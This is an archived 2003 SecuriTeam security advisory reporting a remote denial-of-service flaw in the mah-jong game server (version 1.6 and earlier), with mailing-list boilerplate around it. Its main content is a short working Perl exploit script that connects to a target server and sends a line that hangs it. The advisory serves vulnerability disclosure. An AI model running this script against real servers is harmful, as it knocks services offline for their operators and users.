[EXPL] mah-jong Remote DoS (NULL)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/16/03

  • Next message: SecuriTeam: "[NT] Buffer Overflow in AOL Instant Messager's Getfile Parameter" 
    To: list@securiteam.com
Date: 16 Oct 2003 14:28:51 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      mah-jong Remote DoS (NULL)
    ------------------------------------------------------------------------

    SUMMARY

    A vulnerability could be exploited by a remote attacker to cause the
    <http://www.stevens-bradfield.com/MahJong/> mah-jong server to enter a
    tight loop and stop responding to commands. This is caused by "not"
    sending anything once you have connected to the server.

    DETAILS

    Vulnerable systems:
     * mah-jong vesion 1.6 and prior

    Exploit:
    #!/usr/bin/perl -s
    use IO::Socket;
    # test it in slackware 9.0
    # DOS-test--mj1.6--code by jsk
    # mahJong 1.6, all versions of mahjong
    if(!$ARGV[0] || !$ARGV[1])
     { print "usage: ./dosmj.pl <host> <port>\n"; exit(-1); }

    $host = $ARGV[0];
    $port = $ARGV[1];
    $jsk ="Connect 1034 0";
    $socket = new IO::Socket::INET (
     Proto => "tcp",
     PeerAddr => $host,
     PeerPort => $port);

    die "unable to connect to $host:$port ($!)\n" unless $socket;
    print $socket "Connect 1034 0";
    print $socket "\r\n";
    close($socket);

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:jsk@ph4nt0m.net> jsk.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[NT] Buffer Overflow in AOL Instant Messager's Getfile Parameter"

    Relevant Pages